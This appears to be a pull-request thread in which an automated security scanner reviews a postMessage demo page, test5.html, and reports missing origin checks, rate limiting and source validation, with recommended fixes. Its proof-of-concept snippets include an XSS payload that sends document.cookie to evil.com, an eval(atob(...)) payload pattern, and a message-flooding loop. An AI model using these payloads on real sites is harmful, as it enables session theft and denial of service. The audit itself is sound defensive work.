Create test5.html

[maekuss]

No description provided.

[hacktron-app-dev]

🟡 No Rate Limiting on Message Event Handler

Severity: medium
File: test5.html (Line 26)

Description: The message event listener has no rate limiting or throttling mechanism. An attacker could flood the page with thousands of postMessage calls, causing a Denial of Service (DoS) by overwhelming the DOM with rapid innerHTML updates, freezing the browser tab or consuming excessive memory.

Proof of Concept:

An attacker can flood the victim with messages:

// Open victim page
const victim = window.open('https://victim.com/test5.html');

// Send 10,000 messages rapidly
for (let i = 0; i < 10000; i++) {
  victim.postMessage('<div>Message ' + i + '</div>', '*');
}
// This will freeze the browser tab

Recommended fix:
let lastMessageTime = 0;
const MESSAGE_THROTTLE_MS = 100;

window.addEventListener('message', (event) => {
  const now = Date.now();
  if (now - lastMessageTime < MESSAGE_THROTTLE_MS) {
    return; // Ignore message
  }
  lastMessageTime = now;
  // Process message
});

Finding ID: 550e8400-e29b-41d4-a716-446655440033

[hacktron-app-dev]

🔴 Inline Event Handler in Demonstration Code Creates XSS Vector

Severity: high
File: test5.html (Line 42)

Description: The demonstration code on line 42 uses an inline onerror event handler within an img tag. This pattern, even in documentation, demonstrates a dangerous XSS vector and could be copied by developers. Inline event handlers bypass many XSS protections and should never be used, even in examples.

Proof of Concept:

The inline onerror handler executes JavaScript directly:

// This pattern is exploitable
<img src=invalid onerror="fetch('https://evil.com?cookie='+document.cookie)">

// Or more sophisticated attacks
<img src=x onerror="eval(atob('base64_encoded_payload'))">

Recommended: Use addEventListener instead:
const img = document.createElement('img');
img.addEventListener('error', handleError);
img.src = url;

Finding ID: 550e8400-e29b-41d4-a716-446655440032

[hacktron-app-dev]

🟡 Missing event.source Validation in Message Handler

Severity: medium
File: test5.html (Line 26)

Description: The message event listener does not validate event.source to ensure messages are coming from expected window references. An attacker could open multiple windows and send messages from unexpected sources, potentially bypassing application logic that assumes messages come from specific parent or child windows.

Proof of Concept:

An attacker can send messages from any window reference:

// Open victim page
const victim = window.open('https://victim.com/test5.html');

// Send from unexpected source
const iframe = document.createElement('iframe');
iframe.src = 'https://attacker.com';
document.body.appendChild(iframe);
iframe.contentWindow.postMessage(payload, '*');

Recommended fix:
const expectedSources = new Set([window.opener, window.parent]);
if (!expectedSources.has(event.source)) {
  console.warn('Message from unexpected source');
  return;
}

Finding ID: 550e8400-e29b-41d4-a716-446655440031

[hacktron-app-dev]

🔒 Hacktron Security Scan Results

🛡️ Security Scan Results: postMessage Security Analysis

This PR introduces test5.html, an HTML page demonstrating cross-origin communication using the postMessage API. Our comprehensive security analysis has identified multiple critical security concerns that require immediate attention.

🔄 Attack Surface Analysis

graph LR
    A[Attacker Window] -->|1. Open| B[Victim Page]
    A -->|2. postMessage| C[Message Handler]
    C -->|3. No Origin Check| D{Accept Message}
    D -->|4. No Source Check| E[Process Data]
    E -->|5. No Rate Limit| F[DOM Update]
    F -->|6. innerHTML| G[XSS Execution]
    
    style C fill:#ff6b6b,stroke:#c92a2a
    style D fill:#ff6b6b,stroke:#c92a2a
    style E fill:#ff6b6b,stroke:#c92a2a
    style G fill:#ff6b6b,stroke:#c92a2a
    
    H[Defense Layers] -.->|Missing| C
    H -.->|Missing| D
    H -.->|Missing| E

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🎯 What This PR Does

This PR adds a demonstration page showcasing the Web Messaging API (postMessage) for cross-origin communication:

• Global Message Listener: Implements window.addEventListener("message") to receive messages from any origin
• Origin Transparency: Displays the sender's origin in the UI for informational purposes
• Dynamic Content Rendering: Updates DOM elements with received message data
• Type Flexibility: Handles both string and object message payloads with automatic serialization
• Educational Content: Includes inline documentation showing both vulnerable and secure patterns
• Attack Demonstrations: Provides reproduction steps for security testing

🏗️ Implementation Details

The page implements a common cross-origin messaging pattern:

1. Event Registration: Sets up a global message event listener on page load
2. Message Reception: Accepts messages from any window/origin without validation
3. Data Processing: Performs basic type checking and JSON serialization
4. UI Rendering: Directly injects message content into the DOM via innerHTML
5. Origin Display: Shows message origin for debugging purposes

📋 Technical Specifications

Message Handler Characteristics:

• No origin allowlist validation
• No source window verification
• No message structure validation
• No rate limiting or throttling
• Direct DOM manipulation via innerHTML
• Synchronous processing of all messages

⚠️ Security Posture

This implementation demonstrates several common security anti-patterns in postMessage handling:

• Universal Message Acceptance: No origin validation allows any website to send messages
• Unsafe DOM Operations: Direct innerHTML assignment creates XSS vulnerabilities
• Missing Defense Layers: No CSP, no input sanitization, no rate limiting
• Source Ambiguity: No validation of message source window reference

🔍 Scan Summary

Our automated security scanner has completed a thorough analysis and identified multiple high-severity vulnerabilities that must be addressed before this code can be safely deployed to production environments.

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📊 Summary

• Total Findings: 3
• High: 1 🔴
• Medium: 2 🟡

🔍 Findings

🔴 High

1. Inline Event Handler in Demonstration Code Creates XSS Vector
   • File: test5.html:42
   • Description: The demonstration code on line 42 uses an inline onerror event handler within an img tag. This pattern, even in documentation, demonstrates a dangerous XSS vector and could be copied by developers. Inline event handlers bypass many XSS protections and should never be used, even in examples.
   • Category: vulnerability

🟡 Medium

1. No Rate Limiting on Message Event Handler

   • File: test5.html:26
   • Description: The message event listener has no rate limiting or throttling mechanism. An attacker could flood the page with thousands of postMessage calls, causing a Denial of Service (DoS) by overwhelming the DOM with rapid innerHTML updates, freezing the browser tab or consuming excessive memory.
   • Category: vulnerability

2. Missing event.source Validation in Message Handler

   • File: test5.html:26
   • Description: The message event listener does not validate event.source to ensure messages are coming from expected window references. An attacker could open multiple windows and send messages from unexpected sources, potentially bypassing application logic that assumes messages come from specific parent or child windows.
   • Category: vulnerability

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📋 View Full Scan Report

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